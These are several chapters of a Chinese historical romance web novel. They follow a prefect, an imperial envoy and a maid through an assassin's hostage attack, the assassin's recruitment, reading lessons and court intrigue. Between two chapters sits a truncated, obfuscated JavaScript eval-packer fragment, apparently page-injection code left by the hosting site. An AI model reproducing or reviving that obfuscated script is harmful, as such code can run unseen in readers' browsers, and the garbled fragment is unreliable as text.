这边余年一走,李博带着人从旁边闪出来,“听好了,所有人不得离开府衙半步,你们,进去搜。” 李博一声令下,所有人冲进了同知府衙。张广在密室里仔细听外边的动静,居然什么也听不见。一个时辰后,张广听见墙壁被人铛铛砸了两下,张广屏住呼气抽出了佩剑,然而几声之后又是长久的寂静。其实这密室专门藏人用的,如果衙役稍微留意就会发现相隔的两间房中间有两人宽的间隔,这两间房并非共用一面墙,此时张广就躲在夹缝里。 李博在余年书房翻找,能不能找到刺客得靠运气,重要的是得看看余年有没有问题。李博翻了半天,翻出来很多书信,全是与京中达官显贵联络的,其实这也不足为奇,李博仔仔细细记住这些人,又将书信原封不动放好。李博看时辰差不多了,便带队离开。 第二天余年得知了府衙被查的情况,气冲冲来到驿站找李博算账。 “李大人,你什么意思?” “什么什么意思?”李博睡眼惺忪假装不明白。 “李大人,你是钦差,可是你不是抄家来的,你没有权利搜查我的衙门!” 李博打了一个大大的哈切,“本官并没有抄你家呀,本官在追刺客。” “我明白了,你和周知府一个将我调开,一个搜查我的府衙,简直是可忍孰不可忍,本官要上凑朝廷,本官要参你!” “哎呦余大人,小报告打多了也会让人觉得厌烦。本官是从小在皇上身边长大的,你说你要是告诉皇上你阻止本官抓马匪在城内的奸细,他老人家会怎么想?你已经无故参奏上峰在皇上那里挂了号了,如今你再帮助马匪,你说皇上能饶了你吗?” “你不要颠倒是非,本官何时帮助马匪了!” “余大人别激动啊,本官只是想告诉你,你要是这么贸然上折会有什么样的后果。不过现在好了,本官已经力证余大人清白,余大人绝没有窝藏马匪线人!余大人你没谢谢本官,本官也不打算跟你计较了。” 李博穿着睡衣在余年身边绕来绕去,将余年弄得心烦意乱,好不容易李博坐在椅子上了,用眉毛挑了一下,示意余年出去。“把门关上啊。”李博端茶送客,看着余年肥胖的身材气的一抖一抖的,哈哈笑出了声。 市面上如此之乱,周启也承担了很多批评。首先就是商人,他们每天都要流通货物,城门不开,每天损失的钱足够将周启砸死。 “周大人,这城门再不开,我们都活不下去了!”一群小商小贩聚集在知府衙门闹事。 “这帮子人,就知道顾着自己的利益。他们也不想想,没有大人,马匪早把徽州城烧了。”连锁义愤填膺。 周启倒是不在意,“你去叫衙役们将城门打开。” “大人,刺客还没抓到呢。” “每个出城的人都要检查,城内也继续搜寻。” “大人。” “成了,去吧。”周启明白,封城只是一时之急,城内的粮食没有储备,很快就会有人闹事。况且这种人,周启见多了,别管你想的多好,总有不顾大局之人。不过他也明白,要是饭都吃不上了,谁还管你的大局呢。 此时的吴怡倒是万事不愁,终于回来了,她每天就是吃吃喝喝,给春菊和白芷讲京城的见闻。 这天,吴怡又来到书房与钱宁学写字。 “少东家,我觉得这笔太小了,根本就拿不住。”吴怡按照钱宁教导的姿势拿着笔,五根手指头都要抽筋了似的。 “你怎么又叫我少东家了。” “少东家,咱们现在在府里,我要是叫你名字,管家该骂我了。骂我,我倒是不打紧,扣我工钱怎么办呢。” 钱宁想了想,“好吧,那我们出去你就叫我名字,在家里就叫我少东家吧。” “哎。”吴怡答应得倒爽快,乐呵呵开始写字,写了两笔就满头大汗,眉毛都用上劲了。 “哈哈哈,你不要这么紧张。来,肩膀放松一点。”钱宁拍了拍吴怡的肩膀,走到吴怡椅子旁边,手把手教她写字。 “等会儿,等会儿。”吴怡突然说到,“少东家,我这‘人之初’还没写好呢,等我写好了再写下一句。” “我觉得你写得可以了,可以写下一句了。你干嘛老练这一句。” “少东家,这你就不懂了吧,懂得多不如懂得精,你看啊,我要是把‘人之初’写出了书法家的感觉,是不是觉得我特厉害。” 钱宁看吴怡认真的样子,忍不住笑了出来,“好好好,那你好好练,回头写好了,给我写一副,我裱好了挂起来。” 吴怡知道钱宁揶揄自己,也不恼,“成”吴怡坐好继续写,定要把‘人之初’写好。 正在这时,小厮跑来告诉钱宁城门开了。“真的?吴怡,我得去花厅了,你好好练吧。” “恩,你去吧。”钱宁一走,吴怡就好像心里长草一样,怎么也坐不住了。手已经抽筋了,吴怡放下笔在书房里转悠。书架子上有很多带图画的书,吴怡翻来翻去对着图画咯咯笑起来。 “吴怡?” 突然有人叫,吴怡吓了一跳,“小姐?”吴怡见钱朵站在一旁,疑惑的看着自己。“嘿嘿,小姐,我,我看书呢。” 钱朵看了一眼吴怡手中的书,“哦,看什么呢?” “没什么,图画书。小姐,你来找少东家吧,他去花厅了。” “我不找他,我找你。” “找我?” “吴怡,你不是认识周知府吗?我想让你替我去看看他。” “看周大人?他怎么了?” “这几天又是马匪进城,又是全城搜捕的,他一定累坏了,我想去看看他,可是我爹娘不让我出门,所以,你能不能帮我去看看他。” “没问题。”吴怡知道大小姐们大门不出二门不迈的,也没有多想就一口答应了,“小姐,那我现在就去。” “哎,吴怡,我做了点吃的,你帮我带给周知府。”钱朵从地上抬起食盒交给吴怡。 “好,没问题。”吴怡接过食盒,话不多说来到知府衙门,一进门正撞见娉婷鬼鬼祟祟往外走。“大小姐?” “嘘!”娉婷赶紧捂住吴怡的嘴,将她拉在一旁,“小点声。”吴怡点点头,娉婷放开了她,“你干嘛来了?” “我帮小姐送东西。”吴怡抬起食盒,“大小姐,你干嘛呢?” 娉婷看了看食盒,心情:钱朵也是个死心眼,“把食盒放下,赶紧走吧。” “那可不成,我们小姐说让我帮他来看看周大人。” “我哥不在,你放下吧,我给他就成了。” “那这食盒。” “回头我差人给你们送回去,难道我们还能眯了你们一个破木头盒子啊。”,娉婷不耐烦起来,“成了成了,我哥挺好的,你赶紧走吧。”说着娉婷将吴怡推了出去,哐当一声将门给关上了。 “哎。”吴怡被推出去,想再敲门进去,又怕娉婷生气打人,心想东西送到了就好了,回去也算有所交代。 娉婷在里边将食盒打开,“什么破玩意,这东西谁吃?” “大小姐。” “哎呦,吓死我了!”娉婷被连锁一叫,吓了一大跳,“你干嘛不声不响的站我身后,吓我一跳。” “对不起大小姐,您蹲这干嘛呢?” 娉婷将食盒盖好,“这里我给你和何平定了个食盒,犒劳犒劳你们。” “谢谢大小姐!”连锁一听犒劳自己,喜悦之情溢于言表,“谢谢大小姐!” “哎,我哥呢?” “大人一早就出去了。” 娉婷一听,心里翻了好几个白眼。娉婷早起还以为周启在家,怕他看见自己想起来要送她回宫去,这两天都小心翼翼,好像自己不在一样。“成了,你赶紧吃吧,我也出去一下。”,娉婷的鬼主意就是自己搞定自己的婚事,让那个西凉王一边凉快去。 第五十章 周启收编刺客兄弟 - 风吹繁花散落时 - 红酒羊排 吴怡打知府衙门出来,大摇大摆走在街上。虽然官府还在搜查马匪的内奸,百姓们却已经开始活动,徽州又恢复了生机。 吴怡往前走着,旁边一黑瘦男人跟上了她。吴怡毫无察觉,突然想起若是小姐询问,自己又没见到周知府该怎么回答呢?吴怡想着,双手插着腰站在路上,最终还是继续向钱家走去。吴怡打定了主意就说已经见到周知府了,他着急出去,所以没说两句话。毕竟骗人本来就是自己看家本事,今天不知道怎么了,还有点犹豫,难道是许久不骗人,生疏了? 吴怡毫无察觉,继续向前走。黑瘦男人观察好,在小巷子里紧走两步追上吴怡,拿着木根子牟足了力气往吴怡脖子上一打,吴怡瞬间晕倒。 原来这黑瘦男人与那天在城门口行刺周启还嘴硬的男人是亲兄弟,专门做拿人钱财替人消灾的勾当。两人来到徽州城打算见机行事,不料情况急变,马匪没能进城,哥哥还被抓了。黑瘦男人那天原本也在城门口,与哥哥相互策应,谁知不知从哪里来的女人大喊一声:“小心”哥哥与其他两人落网,黑瘦男人见大势已去,隐忍而逃。 这几天在徽州城,官府抓人抓得紧,黑瘦男人每天在知府衙门周边转悠。周启一早出门,他不想打草惊蛇,在原地等待,本来打算今天就躲在暗处要了周启的命,谁知看见吴怡从知府衙门走了出来。黑瘦男人心想:正好,先解决了管闲事的臭婊子,再要了知府狗命,彻底为哥哥报仇! 黑瘦男人看着昏倒的吴怡,怒从心中来,抬脚就给了吴怡两下子,觉得还不解恨,拿着木根子狠狠打在吴怡身上。 黑瘦男人正在出气,旁边走过来一位买菜回来的婆婆,“哎呀。”婆婆被眼前的情景吓得半死,菜篮子摔在地上,双腿发软,“啊,来人啊,救命啊。杀人了!”婆婆扒着墙想往主路上走,黑瘦男人紧跑两步,一根子打在婆婆头上,婆婆觉得天旋地转,趴在地上往主路上爬。 娉婷原本在主路上走,听见一声救命,觉得奇怪,过来查看,见一老妇人趴在地上往前爬,一黑瘦男子拿着棍子目露凶光。娉婷也吓得双腿发软,幸亏年轻,撒腿就跑。“来人啊,杀人了!” 娉婷这么一跑,黑瘦男人觉得大事不妙,下意识追了娉婷两步。他看见前边已经是主路了,意识到危险,赶紧往回走,可是一转身正看见李博迎面走了过来。 李博二话不说,抽出宝剑与黑瘦男子打在一处。这男子与哥哥不同,不光硬气,还武功了得。只见黑瘦男子躲闪两下,与李博错开了身,互换了位置。周启本来跟在李博后边,见吴怡倒在地上,过来蹲在地上查看。刚摇了两下,黑瘦男人已经来到周启身旁。周启也不是吃素的,还没完全站起来,剑却反手抽了出来,一下子将黑瘦男人的木棍削成两段。 刚刚吴怡被打晕,后来又被黑瘦男人打了几下,浑身疼,此时的吴怡已经苏醒,模模糊糊看见周启将剑抽出来与什么人打了几下。那男人不知怎的来到自己身旁,吴怡觉得全身疼痛,被男人抓了起来。 “都别动!”黑瘦男人抓在吴怡头发,掏出匕首,抵在吴怡脖子上。 李博与周启并排站着,“别激动,你别乱来。” “哼,老子反正也是死,不如拉上这个臭三八陪葬。” “慢着”周启拦住黑瘦男人,“本官可以放你走,你把她放开。” “拿你的命来换呀!”黑瘦男人眼睛瞪的老大,脸部都扭曲了。 “放肆,知府大人饶你不死已经是法外开恩了,你还赶快把人放了!”李博十分紧张,要知道刚才不拉着周启与大家分开就好了。 “你是什么人?”周启看出这是个亡命徒,打算先探探口风,看他要什么。 “老子是要你命的人!” “要我命?”周启看了一眼吴怡,吴怡被黑瘦男人抓着头发,脸朝着天,匕首抵在脖子上,“你把她放了,本官跟你走。” “大人。”李博急了,“你把他们放了,本钱差跟你走。” “少他*妈废话!老子要你命。” 三人正在对峙,娉婷带着人过来了,“就在这呢,快来!”大家把地上趴着的婆婆抬走,呼啦啦包围了黑瘦男人。 “本官现在给你一条生路,你把人放了,本官让你走。” 黑瘦男人看看周围,知道自己无法脱身了,“知府大人,哼,知府大人,我烂命一条,你就一点也在乎这个女人的死活?城门口要不是她多管闲事,你早就去见阎王了!” “城门口?那天那个男人和你什么关系?” “我们兄弟来徽州就是来要你的命的,今天我认栽了。不过,你想让我放了她也成,就是这把剑吧,你用这把剑也刺你自己一剑,老子就饶了她!” 原本周启还不知道这人倒底与谁有关系,他这么一说,周启倒是想起了那天在城门口特别横的男人,还别说这两人长得还真有点像。“他是你哥哥?” “少他妈废话,你到底刺不刺?” “你就不想救你哥哥?” 黑瘦男人失去了耐心,手上用力,吴怡脖子顿时流出血来。 “别激动!别激动!”李博赶紧大声制止。 周启见黑瘦男人不再用力,打算换个策略,“哈哈哈哈,你要杀她就杀,与本官何干?” “哼,你就不怕大家知道你不顾人质死活?” “你看看你周围,多亏你选的好地方,谁也看不见。况且现在在场的都是本官的人,你杀了人质,本官就说你丧心病狂,全城百姓还得感谢本官击毙了你呢。”周启观察黑瘦男人,见他有所动摇,“不过呢,要是你听本官的,也不是没有回旋的余地。”黑瘦男人本来低着眼皮考虑周启的话,听他这么一说迅速抬起了眼皮。“本官看你身手不错,你哥哥也挺有骨气,不如去军营效力,挣个前程,也总比为了几十两银子卖命的强。” “你想骗我?去军营得有正规的推荐和招募才能去呢!你以为老子不知道啊?” 李博在旁边听了,心里明白了,这人肯定曾经是想去军营过,但是不知道是户籍问题还是其他问题不符合条件,“本钦差倒是觉得这条路可行,周大人已经上报朝廷剿匪,你与其与马匪一起等死,不如跟着周大人一起去剿匪,到时候你有了军工,周大人再推荐你,你还怕没有军营要吗?” “况且你现在已经没有退路了,别说你已经跑不掉了,就算你跑了,你哥哥呢?本官给你的路已经是你最好的选择了。” 黑瘦男人被周启与李博说动了,想起牢中的哥哥,“你说的算话吗?” “钦差大人在此。”周启看了一眼李博,“钦差大人?” “哦,本钦差可以为你做个见证,你也应该知道朝廷派我来,就是来监督知府的,他在我面前必需说话算话。” 黑瘦男人哪知道钦差干嘛来了,但是他知道钦差比知府大。正在黑瘦男人还在犹豫的时候,周启恰到好处得招呼所有人将兵器收起来。大家听了招呼,收起了兵器,整队站在一旁。黑瘦男人终于慢慢放下了匕首,吴怡一度以为自己要死了,眼泪早就掉过了,黑瘦男人一撒手,吴怡扑通瘫倒在地。两个侍卫赶紧过来将吴怡扶起来,“吴怡,你没事吧?” 吴怡机械的摇摇头,觉得浑身疼,腿也不听使唤。“赶紧先送她回知府衙门,你,跟我们来。”周启招呼黑瘦男人一起,一群人乌泱泱回到知府衙门。 娉婷叫人将吴怡抬到她以前的屋子,找来大夫给她诊治,周启则派人将黑瘦男人和他哥哥一起带到客厅。 黑瘦男人见哥哥来了,赶紧过来将哥哥一把抱住,“哥,哥,你怎么样了?”黑瘦男人见哥哥带着手铐脚镣,脸色惨白,“你!你把我哥怎么了?”黑瘦男人一激动,冲过来要来抓周启,何平一个箭步挡在两人中间。 周启从椅子上缓缓站起来,稍微碰了一下何平,何平往旁边挪了一点,将周启让了出来。 “你应该明白,这就是刺杀知府的代价。你要是非跟本官对着干,你就也是这个下场。” 黑瘦男人一听急了,“你!”何平又瞬间挡在了两人中间,黑瘦男人隔着何平喊道,“你不讲信用!” 周启站在何平身后,“刚刚本官说得话都算数,不过你要证明你和你哥哥的价值,本官才能给你们一个好的前程。”周启说完头也不回地走了。何平站在原地,眼睛一直狠狠盯着黑瘦男人,缓缓转身,一句话都没说。 “吴怡怎么样?”周启来到后院,看大夫已经出来了。 “大人,这位姑娘身上多处受伤,脑袋有点不清楚,需要好好卧床休息。” “好,我知道了。” 大夫走后,娉婷走了出来,“哥。” 周启这两天忙晕了,看见娉婷一下子想起来了,“你怎么还在这?” 娉婷愣了一下,白小心翼翼两天,“哥,今天要不是我,你们都悬了。”娉婷打算趁机邀功,“哥,你看我今天这么激灵,还不得夸赞我两句。” “成成成,多亏你了。吴怡呢?” “在里边躺着呢,连人都不认得了,可能吓得,瞧她那样呗。”娉婷可想不起自己刚才吓得不轻,嘲笑别人才是正经事。 “成了,你赶紧回去梳洗一下,看你这满头汗,头发都湿了。”周启见妹妹这样也是够狼狈,想着刚才要是晚一点,娉婷和吴怡可就都没了。 娉婷一摸头发,是有点湿了,觉得不好意思,赶紧跑回房间梳洗。周启走进吴怡的房间,这里还是吴怡走时候的样子,吴怡安安静静躺在床上,周启坐在刚才大夫坐的椅子上,看吴怡头上、脖子上、手上都受伤了,安安静静的样子和她平时天天乐呵呵的样子,自言自语道,“切,怎么跟娉婷一个德行。” 第五十一章 吴怡吐露真言 - 风吹繁花散落时 - 红酒羊排 吴怡似乎听见周启吐槽自己一样,皱着眉头动了动,一下子将被子给踹开了。周启无可奈何,只好帮吴怡盖好了被子。 吴怡觉得热,又翻了个身,将被子踹开了。周启可不喜欢别人这样拒绝自己的好意,站起身来看了看吴怡,一把将被子整个拽走了。吴怡觉得身上突然轻了,一下子醒了过来,抬起脑袋看见周启拿着一整个被子看着自己,而自己此时则穿着睡衣,“啊!”,吴怡大叫一声,迅速坐起来,“你你你,你是谁啊!”,又下床来打了周启两下,“臭流氓!” “嘿,我。”,周启哪经过这个,“赶紧把被子扔在床上,“我可是刚救了你!你,你疯了你!”,周启将吴怡控制住,“我是周启呀!” “什么周启!我不认识!”,吴怡使劲挣扎。 周启后悔了,怎么把真名说出来了,“我,你看看我,我是知府,徽州知府!” “徽州?”,吴怡安静下来,仔细回想,“徽州。哦,对了,我来找钱宁的。” “钱宁?”,周启想那天在城外不是说来找我的吗?松开了吴怡的手,“你确定来找钱宁?” “是啊,我给我和我爹找了工作,可是我没找到我爹,我就自己来了。” 周启还以为吴怡受了刺激,脸上故作轻松,“哦,是嘛,我还真不知道。吴怡啊,大夫说让你好好休息,来,你先躺下睡会觉,明天就好了。” 吴怡哪里肯干,叨叨叨将自己所有的事情都说出来了。周启在旁边听了从开始的震惊一点一点变成了可笑。心想这个女人真是厉害啊,把自己骗得团团转,这么一听好多事情都能解释了。“这么说,你爹没死?” “当然没死了!不过就是不知道他去哪了。你说,你说他是不是穷命,我吴怡现在每个月赚十两银子,他一两都花不上!” “你一个月赚十两银子?” “是啊,我告诉你啊,我都。”,吴怡突然神神秘秘,看了看周围,特别小声地说,“我都藏在这里了,哎,我的腰带呢?” “啊?腰带?”,两人东张西望,“哦,这呢。” 吴怡一把抢过来,“嘿嘿嘿,我告诉你啊,我都藏在这里了,你摸摸,你摸摸。”,吴怡将腰带往周启面前一推,周启笑着摸了摸,“什么呀?” “银票啊!”,吴怡眼睛都睁大了,拉着周启把一辈子的实话都说了,说着说着就笑了,笑着笑着就哭了,“我告诉你啊,我吴怡能有今天不容易,我从,我从一贫如洗到现在腰缠万贯,我不容易,我不容易!”,吴怡哭了,周启却笑了,“还腰缠万贯呢,五十两银子,哈哈哈。”,周启看了一眼吴怡,心想这要是明天她好了,那就更可乐了,“哈哈哈。” 第二天,吴怡迷迷糊糊起来,觉得全身疼痛,她想起昨天被人打了一下,剩下什么也想不起来。吴怡掀开被子下床,看见自己的衣服整整齐齐放在旁边,腰带也放在上边,吴怡一把抓过腰带,摸了摸里边还是鼓鼓囊囊的,吴怡的心终于放在肚子里了。 周启在院子里练剑,刚练完一套剑,吴怡乐呵呵将湿毛巾递上来。“周大人,刚才连锁管家告诉我了,昨天是大人救了我。谢谢大人。”,吴怡一抱拳,嘿嘿一笑。 周启看她乐呵呵的,肯定是把昨天说实话的事情给忘了。周启接过毛巾,“你醒了?” “啊。”,吴怡心想:这不废话吗,我不醒能站在这吗?“周大人,我得回去了,谢谢周大人。” “哎,吴怡。昨天大夫说你需要卧床休息。” “嘿,不用,这点小伤算什么呀,没事儿。” “瞧你这脸上,脖子上,手上的,你回去再吓着你们老夫人。”吴怡低头一看,手上淤青还在,又摸摸脖子,抱着纱布。“你放心吧,昨天娉婷派人去钱家,说借调你来这里做几天工,过几天就回去,你好好休息吧。” 吴怡盯着周启,心想:我还放心,你们这里每个月二两银子,钱家可给十两银子,“不用了吧,周大人,真的,我皮糙肉厚的,不碍事。” 周启见她这样,以前可能以为她就是活得粗糙了点,昨天听了她一晚上大实话,早就把吴怡看透了,“放心吧,你来我们这,自然是你主家给你工钱,少不了你的。” 吴怡愣了一下,“嘿嘿,周大人,我,我不是为了工钱,我……” “不是为了工钱?那成,我跟钱万全说一声,这个月的工钱就别发给你了,当医药费吧。”,周启说完就往书房走去。 吴怡赶紧跑过来拦住周启,“哎哎哎,周大人,周大人,别呀。您是大人,哪能跟我们小老百姓计较呢。” “那昨天给你请大夫还挺贵的呢,要不你……”,周启早起反正也没事,想逗逗吴怡。 吴怡一听要花钱可不干了,下意识往后退了一步,“周大人,我,我哪有钱看大夫。这,都是昨天那个挨千刀的打了我,要不我现在还好好的,也不至于浑身疼。”,吴怡说着已经十分委屈,又对着周启嘿嘿一笑,“大人,不如这样,我也别回去了,我就在这我也不休息,给您做几天工,成不成?您就可怜可怜我,全当抵债了,成吗?” 周启看她这样,觉得十分有趣,“成啊,规矩你都懂,干活去吧。” “好嘞!谢谢大人!”,吴怡给周启鞠个躬,美颠颠跑去厨房帮忙。 吴怡一跑,周启就吩咐连锁好好照顾她,让她好好休息。连锁自然二话不说,帮着吴怡将所有活都干 完了,又催促吴怡回房呆着。 吴怡一扭头看见食盒,蹲下打开。一看盘子碗都已经洗干净,吴怡又重新盖好了食盒,打算拿到自己屋里回头走的时候好带走。 “吴怡,你拿它干嘛呀?” “管家,这就是钱府的食盒。你不知道,我昨天亲自交给大小姐的,是我们小姐给周大人的。” 连锁想起昨天自己感恩戴德那样,都想抽自己,“哦,原来是这么回事。” “连锁管家?”,吴怡见连锁有些失落,“你怎么了?” “嘿,没事。吴怡,我们这些奴才,主子不把我们当回事是正常的,给好脸就接着,不给好脸就忍着,没事。”,这句话是连锁对自己说的。 吴怡虽然不知道他为什么突然发了感慨,也明白下人自有下人的心酸,“连锁管家,我觉得大人对你挺好的。” “是啊,大人对我好,我当然知道。”,两人都泯着嘴相视一笑,“对了,吴怡,你在钱家怎么样?主家怎么样?” “挺好的。”,吴怡又来了精神,“钱宁对我可好了,还教我写字呢。哎呀,我忘带我的《三字经》了。” “《三字经》?大人那里有,我去给你拿去。” “啊?管家大人,那大人知道了不会生气吧。” “不会,大人都是大学问了,这《三字经》早就不看了,不过摆在书架子上吃灰。”,说着,连锁带着吴怡往书房来,“来,我跟你说啊,我伺候大人读书,大人的先生说过,书一日不读便荒废,所以你要每天看。” 说着两人已经来到书房门口,周启正做里面看书。连锁毕恭毕敬站在门口,“大人。” “什么事?” “大人,吴怡忘了带《三字经》,所以奴才想能不能借您的给她看看。” 周启指着书架子,“自己拿吧。” “谢大人。”,连锁进去帮吴怡拿书,吴怡没想到周启真能借她,站在门口探着身子,“多谢大人。” “你进来。” 吴怡犹豫了,“大人,这不不让人随便进嘛。” “现在我让你进来。” 吴怡看周启不像开玩笑,又看了连锁一眼,连锁也没有不让她进的意思,试探着迈进去一只脚,发现没什么异常,大着胆子进去来到书桌边上。“大人。” “我的书不外借,你如想看就坐那椅子上看,看完了放好就出去。” 连锁将书递到吴怡手上,不言不语退下来。吴怡看周启也不看自己,便坐在旁边安安静静看书。这《三字经》吴怡刚学到“此十义人所同”,就是还不太会写,钱宁叫她每天看看,认读加背诵,有时间就写两笔。所以吴怡看看的,嘴上就嘟嘟嘟地背诵起来,周启读书的时候哪有人在旁边这样,皱着眉 头看着吴怡。吴怡一点也没察觉,双腿盘坐,一会翻开书看,一会小声背诵。 周启实在忍无可忍,“你。” 吴怡赶紧站起来,“啊?大人怎么了?是不是口渴了?我去给你倒杯水。” “回来!你看书就好好看,倒水需要你干吗?” “没事,我这就帮您倒水啊。” “坐下!”,周启打小被教育读书要专心,自己也从来都是衣来伸手饭来张口,读书时候心无旁骛是对书本最起码的尊重。 吴怡被周启一呵斥,不知道他要干嘛,乖乖坐好。 周启站起来,来到吴怡身边,“坐好了!书没读好,一身的臭毛病!双脚并拢,腰背挺直,目不斜视,把书拿起来。要背诵就大声背诵出来,不要没事瞎嘟囔。”,周启说完又回到书桌前继续看书。 吴怡被周启一教训,不知道该怎么好了。坐在椅子上一动不敢动,端着两条胳膊,脸也不敢移动,只两只眼珠子转来转去。心想:写字已经够累了,如今读书也这么累,这读书真不是一般人能读的。不过周大人好像是状元啊,状元说应该这么读,那肯定是应该这么读。好吧,累点就累点吧,把书读好了就成 就这样,两人在一起看了一个时辰书,吴怡早就腰酸背痛,要不是怕周启找她要医药费,早跑了。 周启终于看书告一段落,看了吴怡一眼。吴怡正正襟危坐,偷眼看周启,见他看自己,嘿嘿一笑,“大人。” “你还没看完吗?” 吴怡赶紧把端着的胳膊放下,“看完了,看完了。” “时辰差不多了,去吃饭吧。” 吴怡早就饿得前胸贴后背,得了赦免赶紧将书放好,站在门口笑呵呵等着周启出门。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第五十二章 吴怡曲解圣人意 - 风吹繁花散落时 - 红酒羊排 钱朵原本在家里等着吴怡,可是她非但没回来,还被娉婷给留下来,说是帮工。可是钱朵觉得事情不简单,在房间里越想越不对,觉得周启肯定是发生了什么不好的事情,哭着闹着要去知府衙门亲自看看。 钱宁终于知道了妹妹的心思,他当然觉得周知府与妹妹站在一起那简直就是天造地设的一对,可是钱万全的担心不是没有道理。 “爹、娘,妹妹这么闹下去终归不是办法。” “赶紧把她嫁出去,让她死了这份心!” “爹,妹妹还小,不如再好好劝劝她吧。” “她已经不小了,还有你,也该娶亲了,我想你与张灵的婚事也定下来好了。” 钱宁吓了一跳,“爹,这怎么又说到我身上来了。爹,咱们还是先度过危局再说吧,要不然不是害了人家姑娘了嘛。” “恩,你说的也是,那你先不着急,先给你妹妹找个婆家。” “老爷,朵朵一定不能嫁的太远,要是她有什么事举目无亲的,那可不成。” “夫人可有什么人选啊?” “老爷,这两天我也打听了一下。若说跟我们钱家门当户对的也不是没有,就是李家的儿子比娉婷小三岁,不过这俗话说的好女大三抱金砖,所以也还可以。岳家的儿子新进丧偶,有个儿子,我是不主张朵朵嫁过去的。还有马家的儿子,脑子好像不太灵光,据说脾气又不好,上次马夫人来,我看着精神不济,一打听才知道是儿子不消停,我们朵朵也决不能嫁给他。还有,哦,对了,朵朵若喜欢文人,东街的李举人倒是个人选,他无父无母的还能考中举人实属不易,只是岁数大了点,比朵朵得大十岁吧,但是一直没有娶过亲。” “娘。”,钱宁真是听不下去了,“您说这都什么人啊,那朵朵可是您亲闺女。” “我能不知道这些人都不太好吗,那我们徽州城就这么大,与我们门当户对的更没有几个了。” “爹,娘,你们怎么忘了?后边那家不挺好的。”,钱宁一说,钱万全与王夫人都愣住了,后边那家不就是陈家嘛,钱宁不知道父辈的前尘往事,觉得妹妹与陈明阳倒是登对。“爹,娘,怎么样?陈明阳武功好,读书好,做生意也是一把好手,妹妹嫁过去绝不会吃亏的。”,钱宁一看父母脸色不对,赶紧再推荐一人,“或者张浩呢?虽然是晋中,离得也不算太远。张浩也是一表人才,人品是没得说的。” 钱万全与王夫人对视一眼,“钱宁啊,若是你妹妹嫁给张浩,你再娶了张灵,那倒是亲上加亲,就是不知道张浩有没有定亲呢?” “爹,我马上去打听。” 张浩帮着钱宁送完了货,自行回了晋中,如今张灵在北京未归,张浩 倒先回去了。张浩知道妹妹定是没有回来,又不想父母担心,便对外宣称张灵与钱宁在徽州。而张海到晋中打听张家消息的人讲这一错误信息带回了徽州,张海听后觉得这简直是天助他也,他想:既然要弄死钱家,陈家却不打算接盘,那就直接让张家接盘如何呢?而自己将取代钱宁成为张家的上门女婿。张海光是想想都觉得爽呆了,如今张海需要做的就是找到张灵,搞定她。 而此时,皇帝在京城接到了周启的奏折,大臣们都很紧张。大周立国百余年,马匪进城的情况还没有人碰到过。李天时来了精神,细数周开到任后的种种罪行。而许丞相已经通过周启给皇后的信件猜到了蛛丝马迹,并派人到徽州查看,结果让他大吃一惊。他甚至想幸亏李天时没有察觉他派人去了徽州,否则现在周启的处境将十分危险。如今不知道为什么李天时一直跟徽州知府过不去,许丞相心中盘算,若是他知道周开就是周启,就不会只在这里撺掇皇帝罢免周启了,只会是悄无声息的暗杀,那李天时就是有别的目的,那个同知余年突然弹劾自己的上司,绝不简单,也许正是李天时指使的,那现在就是周启与余年的争斗了,他们的后边是皇帝与李天时。许丞相在皇帝旁边看李天时义愤填膺的样子,打算静静得看皇帝怎么护犊子。正打算看热闹的许丞相突然被皇帝叫了一声,许丞相赶紧开动脑力。 “皇上,这个徽州最近真是多事之地。不过呢,老臣觉得,马匪进城实在可恶,先不说徽州有没有防守不利之嫌,单说剿匪一事。臣觉得必须派人得力之人,彻底打击马匪嚣张气焰,否则别的地方也会出现这样的叛乱。” “许丞相,徽州接连出事就是在周开任知府开始的,光是去剿灭马匪就能让徽州太平吗?” 许丞相也不理李天时,继续向皇帝回禀,“皇上,这马匪存在也不是一日两日了,怎么能怪到刚上任之人的头上?况且这次马匪进城,幸亏徽州知府处置得当,将马匪击毙于城门口,才没有酿成大祸。这样的人才应该予以表彰才是,怎么李大人对于这些视而不见?若是这个时候换掉徽州知府,岂不是让马匪更加猖狂?皇上,现在还是赶紧调派人手去剿匪才是最紧要的。” 皇帝早就不听他们说什么了,他现在有点怀疑自己,不知道该不该把周启派出去,不到三个月就出了这么多事。一国之君不好当,一州知府也不是那么容易的。皇帝想好了章程,向身旁的太监吩咐道,“去把何启年叫进来。” 许丞相与李天时瞬间不说话了,少顷,何启年走了进来。只见他一身戎装,正是皇帝的御前侍卫统领,也是何平的父亲,还是周启的武功启蒙 先生。何启年一进来,向皇帝施礼后便站在一旁。 “你去,你亲自去徽州,将马匪一个不留地剿灭。再去看看那个徽州知府,到底怎么回事!还有,还有那个李博,你也去,去替朕好好教训教训。”,皇帝已经了站起来,在乾清宫来回踱步。 何启年遵旨,第二天就带着人马出了京城,直奔徽州而去。 此时的吴怡在知府衙门悠闲自在,每天也不用伺候别人,还有大夫每天来看自己,还有十两银子的月例照发。吴怡觉得心里美极了,早起又帮着大家打扫卫生。 “吴怡?” 吴怡正扫地呢,周启走了过来,“大人,出门呀?” “你这两天怎么没来读书呢?” 吴怡真想钻地缝里去,跟着钱宁读书悠闲自在,跟着状元读书腰酸背痛。“我,我那个先打扫卫生。” “谁叫你打扫的?” 吴怡一闭眼,心一横,“大人,反正我们女孩子读书也没啥用,孔子不都说了吗。女子无才便是德。” “孔子还说,有教无类呢,你怎么不听。你不会是觉得枯燥不想学了吧?” “怎么会呢。”,吴怡是想学习来的,可是不想腰酸背痛地学,“周大人,天不早了,你还是赶紧上工去吧?” “上工?”,周启真是服了吴怡,心想怪不得钱宁要教吴怡读书呢,“成成成,我上工去了,你别扫了啊,赶紧去书房好好读书去。” 吴怡看周启走了,赶紧把扫把归置好,乐呵呵去书房看书。吴怡拿出《三字经》,又盘腿坐在椅子上,“哈哈,这才叫读书呢。”,没读两句,又自己去书房弄了一盘水果,一边吃水果一边接着看。水果吃完了,书也看累了,就在周启的书房里来回转悠。 